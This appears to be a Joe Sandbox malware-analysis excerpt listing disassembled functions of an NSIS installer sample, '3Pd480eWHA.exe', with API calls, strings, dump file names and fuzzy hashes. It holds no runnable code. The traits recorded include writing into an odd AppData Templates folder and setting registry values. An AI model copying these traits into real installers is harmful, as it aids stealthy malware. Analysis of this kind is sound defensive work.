RichEdit, xrefs: 004038D6
.DEFAULT\Control Panel\International, xrefs: 004036F2
RichEdit20A, xrefs: 004038C7, 004038CD
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne, xrefs: 00403716, 0040371E, 004037B6, 004037BC, 004037CC
"C:\Users\user\Desktop\3Pd480eWHA.exe", xrefs: 00403690
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403691
RichEd32, xrefs: 004038B7
_Nb, xrefs: 004037FF, 00403867
@y, xrefs: 004036B8
RichEd20, xrefs: 004038A9
Call, xrefs: 0040374A, 00403752, 0040375F, 004037A9, 004037AF
Control Panel\Desktop\ResourceLocale, xrefs: 004036C0
.exe, xrefs: 00403789
1033, xrefs: 004036AC, 00403702

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\3Pd480eWHA.exe"$.DEFAULT\Control Panel\International$.exe$1033$@y$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-1217668670
Opcode ID: 1f1d7b7cedc4fdc1a161c84c86f92609142e4f2c1f25f6f9bda009316c644032
Instruction ID: b6748c6733e3bb55aa357910a2c4fdec813f4d760fd6ac6bc3454eeade69f907
Opcode Fuzzy Hash: 1f1d7b7cedc4fdc1a161c84c86f92609142e4f2c1f25f6f9bda009316c644032
Instruction Fuzzy Hash: D06106B4504244AEE710AF659C45F3B3AACEB85789F00857FF900B22E1D77CAD019B2D

Function 00402C66 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C77
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\3Pd480eWHA.exe,00000400), ref: 00402C93

Part of subcall function 0040597F: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\3Pd480eWHA.exe,80000000,00000003), ref: 00405983
Part of subcall function 0040597F: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059A5

GetFileSize.KERNEL32(00000000,00000000,007AA000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\3Pd480eWHA.exe,C:\Users\user\Desktop\3Pd480eWHA.exe,80000000,00000003), ref: 00402CDF

Strings

Null, xrefs: 00402D5D
Inst, xrefs: 00402D4B
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E3E
C:\Users\user\Desktop, xrefs: 00402CC1, 00402CC6, 00402CCC
"C:\Users\user\Desktop\3Pd480eWHA.exe", xrefs: 00402C66
Error launching installer, xrefs: 00402CB6
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00402C6D
soft, xrefs: 00402D54
C:\Users\user\Desktop\3Pd480eWHA.exe, xrefs: 00402C7D, 00402C8C, 00402CA0, 00402CC0

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\3Pd480eWHA.exe"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\3Pd480eWHA.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-3783679330
Opcode ID: 48d0b30a573a01b2c2b1968d3d6d53f6fa88bda45e86464b42b605cd2148996d
Instruction ID: fe9ef23653e85685a193ad9c5457c4b2e55d644b791d7b95544962d8ab1ad500
Opcode Fuzzy Hash: 48d0b30a573a01b2c2b1968d3d6d53f6fa88bda45e86464b42b605cd2148996d
Instruction Fuzzy Hash: CC51F471941214AFEB119F65DE89B9E7BA8EF04364F14803BF904B62D1D7BC8D408BAD

Function 00401751 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405D0C: lstrcpynA.KERNEL32(?,?,00000400,0040319A,Lazarus Setup,NSIS Error), ref: 00405D19

Part of subcall function 00404F25: lstrlenA.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000,?), ref: 00404F5E
Part of subcall function 00404F25: lstrlenA.KERNEL32(00402FD7,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000), ref: 00404F6E
Part of subcall function 00404F25: lstrcatA.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00402FD7,00402FD7,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0), ref: 00404F81
Part of subcall function 00404F25: SetWindowTextA.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll), ref: 00404F93
Part of subcall function 00404F25: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
Part of subcall function 00404F25: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
Part of subcall function 00404F25: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

Strings

C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll, xrefs: 0040181E, 0040183A
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit, xrefs: 0040177E
Call, xrefs: 0040176D, 00401776, 00401783, 00401795, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF
C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp, xrefs: 0040179B, 0040180A, 00401828

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp$C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit$Call
API String ID: 1941528284-3388948453
Opcode ID: 5963c7d106c76f5ca0071d1a776a8225d19f187018aad275a070e7a80bf2da84
Instruction ID: e334bcbcf7859558867c6a38b10ffbeddee8f855bc543c6a7f27992f07fd6e89
Opcode Fuzzy Hash: 5963c7d106c76f5ca0071d1a776a8225d19f187018aad275a070e7a80bf2da84
Instruction Fuzzy Hash: 4B41C672900519BADB107BA5CC45DAF7AB9DF46329B20C33BF021B20E1C67C4A419A5D

Function 00404F25 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000,?), ref: 00404F5E
lstrlenA.KERNEL32(00402FD7,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000), ref: 00404F6E
lstrcatA.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00402FD7,00402FD7,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0), ref: 00404F81
SetWindowTextA.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll), ref: 00404F93
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

Strings

Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll, xrefs: 00404F45, 00404F57, 00404F5D, 00404F80, 00404F8C

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll
API String ID: 2531174081-4205962734
Opcode ID: 8aca45e27811aa21f79b642ec133e9ff2e42e250cada4605035ec104fac27bf5
Instruction ID: b1dc6bec94ba42b715134808c0c3c35089c42976f802e7ea77bea70e7b84fba8
Opcode Fuzzy Hash: 8aca45e27811aa21f79b642ec133e9ff2e42e250cada4605035ec104fac27bf5
Instruction Fuzzy Hash: 1F21817190011DBFDF119FA5DD449DEBFA9EF45354F04807AFA04A6291C7388E409BA8

Function 004053EB Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\), ref: 0040542E
GetLastError.KERNEL32 ref: 00405442
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405457
GetLastError.KERNEL32 ref: 00405461

Strings

ds@, xrefs: 00405420
C:\Users\user\Desktop, xrefs: 004053EB
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405411
ts@, xrefs: 004053F1

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
API String ID: 3449924974-228423945
Opcode ID: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction ID: 8acfd36fb30660db29d177a8be8d7647adb8d58efdd4f3c758bfd1505ce0b010
Opcode Fuzzy Hash: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction Fuzzy Hash: CF010871D14259EADF119FA4D9447EFBFB8EF04315F004176E904B6290D378A644CFAA

Function 00406037 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040604E
wsprintfA.USER32 ref: 00406087
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 0040609B

Strings

%s%s.dll, xrefs: 00406081
UXTHEME, xrefs: 00406040
\, xrefs: 0040605F

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction ID: 17439860729f5247506b6fa79cc71e4dc0dc9fec6db89644704a68070b9bc3a3
Opcode Fuzzy Hash: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction Fuzzy Hash: BAF0F630A40209ABEB14EB78DC0DFEB365CAB08305F14017AB547F11D2EA78E8258B69

Function 00402E9F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F06
GetTickCount.KERNEL32 ref: 00402F8A
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402FB3
wsprintfA.USER32 ref: 00402FC3

Strings

... %d%%, xrefs: 00402FBD

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 64d2ce798d2dc69bad610a2ea0e87ea1e6662520605f5bed10a59724df5d2c56
Instruction ID: 2f6adf6c827ed57ff932280c4bcb171559557b12de80228d6f8143075edc11b6
Opcode Fuzzy Hash: 64d2ce798d2dc69bad610a2ea0e87ea1e6662520605f5bed10a59724df5d2c56
Instruction Fuzzy Hash: 5D519E7280221AABDB10DF65DA44A9F7BB8AF00755F14417BFD10B32C4C7788E51DBAA

Function 00402364 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004023A2
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004023C2
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004023FB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004024D8

Strings

C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp, xrefs: 004023B3, 004023D5, 004023E5, 004023F0

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp
API String ID: 1356686001-2031227991
Opcode ID: d74034fd92c64aa2ed621a3478c433a983ffe71421c626bffd0a4e4897772b2d
Instruction ID: 90de9cbbb944b5ce7c16acb051fe3e73370ea29dc9d439d86f68b9f38bc34e97
Opcode Fuzzy Hash: d74034fd92c64aa2ed621a3478c433a983ffe71421c626bffd0a4e4897772b2d
Instruction Fuzzy Hash: 04117572E00108BFEB10AFA4EE89EAF767DEB54358F10403AF505B61D1D6B85D419B28

Function 004059AE Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004059C2
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 004059DC

Strings

nsa, xrefs: 004059B9
"C:\Users\user\Desktop\3Pd480eWHA.exe", xrefs: 004059AE
C:\Users\user~1\AppData\Local\Temp\, xrefs: 004059B1

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\3Pd480eWHA.exe"$C:\Users\user~1\AppData\Local\Temp\$nsa
API String ID: 1716503409-3192989836
Opcode ID: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction ID: 14833181556f01f8699e9ecebe408800633a5ab51cc0013a882439dab00eebba
Opcode Fuzzy Hash: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction Fuzzy Hash: 2AF0E232708204ABEB109F15EC04B9B7B9CDF91720F00C03BFA049A181D2B598448B58

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2

Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000000.00000002.1834191377.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1834168923.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834213458.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834234460.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3Pd480eWHA.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
